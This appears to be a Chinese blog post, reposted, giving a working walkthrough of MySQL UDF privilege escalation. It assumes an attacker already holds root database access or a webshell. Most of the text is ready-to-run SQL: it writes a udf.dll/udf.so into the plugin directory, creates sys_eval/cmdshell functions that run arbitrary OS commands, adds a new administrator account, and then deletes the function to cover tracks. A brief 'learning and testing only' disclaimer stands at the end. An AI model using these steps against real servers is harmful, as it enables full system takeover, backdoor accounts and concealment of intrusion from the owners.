前言
通过一些方式获取了目标主机mysql的root密码,同时获得了webshell或者可以远程连接MySQL。这时如果想获取系统管理员权限执行一些系统命令或者新建管理员账号,以便拿下整个服务器权限,我们就可以通过MySQL UDF提权来实现。至于UDF提权后,能否获取到system权限新建管理员,取决于目标机运行MySQL账户的权限,若运行MySQL为普通账户,则只能获取到普通账户权限,若运行MySQL为超级管理员,那就可以获取到超级管理员权限,新建管理员账户。Linux账户权限限制严格,可能无法导出udf.so
MySQL UDF提权原理
UDF(User defined function)可翻译为用户自定义函数,其为mysql的一个拓展接口,可以为mysql增添一些函数。攻击者通过编写调用cmd或者shell的udf.dll/udf.so文件,并且导入到指定的文件夹目录下,创建一个指向udf.dll/udf.so的自定义函数,从而在数据库中的查询就等价于在cmd或者shell中执行命令。
MySQL 提权条件
- mysql数据库的root权限,能通过webshell链接数据库或者通过远程登录数据库。
- secure_file_priv的值为空,不为空时必须有写入my.ini的权限。
链接mysql数据库后,通过SQL语句show global variables like 'secure%'
查看secure_file_priv的值。
当secure_file_priv 的值为 NULL ,表示限制mysqld 不允许导入|导出,此时无法提权;
当secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在/tmp/ 目录下,此时也无法提权;
当 secure_file_priv的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权。
如果secure_file_priv的值不是空,需要在mysql/my.ini中设置secure_file_priv参数为secure_file_priv = ' '
- udf.dll导出位置,通过
select version()
查看MySQL版本,大于5.1版本要有在MySQL安装目录下创建文件夹的权限。
mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下。(plugin文件夹默认不存在,需要自行创建;Mysql安装目录可以通过select basedir()
或者select @@basedir
查看)。
mysql版本小于5.1, udf.dll文件在win 2003下放置于c:\windows或者c:\windows\system32目录,在win 2000下放置在c:\winnt\system32目录。
导出udf.dll
-- 创建临时表temp_udf
CREATE TABLE temp_udf(udf LONGBLOB);
-- 将数据写入到表中。注意将$shellcode改为**_by_textarea.txt文件中的内容(见附件,分32位和64位,选择和MySQL对应的版本,否则会显示:Can't open shared library 'udf.dll')
INSERT INTO temp_udf (udf) values ($shellcode);
-- 将udf内容导出导制定文件夹下,注意根据MySQL版本修改为对应的文件夹,Linux请将udf.dll改为udf.so
SELECT unhex(udf) FROM temp_udf INTO DUMPFILE 'C:/WINDOWS/udf.dll';
-- 删除临时表temp_udf
DROP TABLE temp_udf;
自动化注入工具Sqlmap提供的udf提权使用方法
使用mysqli链接数据库mysql
-- 创建sys_eval,导入udf函数,Linux请将udf.dll改为udf.so
create function sys_eval returns string soname 'udf.dll';
-- 查看创建函数
select * from mysql.func;
-- 添加新用户admin(密码Test_12345678),并加入到管理员分组(Windows命令)
select sys_eval('net user admin Test_12345678 /add & net localgroup administrators admin /add');
-- 查看用户(Windows命令)
select sys_eval('net user');
完成提权后,清楚痕迹
-- 删除cmdshell
delete from mysql.func where name='sys_eval';
函数介绍
sys_eval 执行任意命令,并将输出返回。
sys_exec 执行任意命令,并将退出码返回。
sys_get 获取一个环境变量。
sys_set 创建或修改一个环境变量。
moon udf提权使用方法
使用mysqli链接数据库mysql
-- 创建cmdshell,导入udf函数
create function cmdshell returns string soname 'udf.dll';
-- 查看创建函数
select * from mysql.func;
-- 添加新用户admin(密码Test_12345678),并加入到管理员分组
select cmdshell('net user admin Test_12345678 /add & net localgroup administrators admin /add');
-- 查看用户
select cmdshell('net user');
完成提权后,清楚痕迹
-- 删除cmdshell
delete from mysql.func where name='cmdshell';
MySQL udf 提权工具
附件提供MySQL udf提权工具。仅限于学习和测试服务器安全使用,请勿用于非法用途,否则产生的一切后果与本人无关。
Sqlmap lib_mysqludf_sys编译好的udf提权扩展文件
转载请注明:半亩方塘 » MySQL提权之UDF提权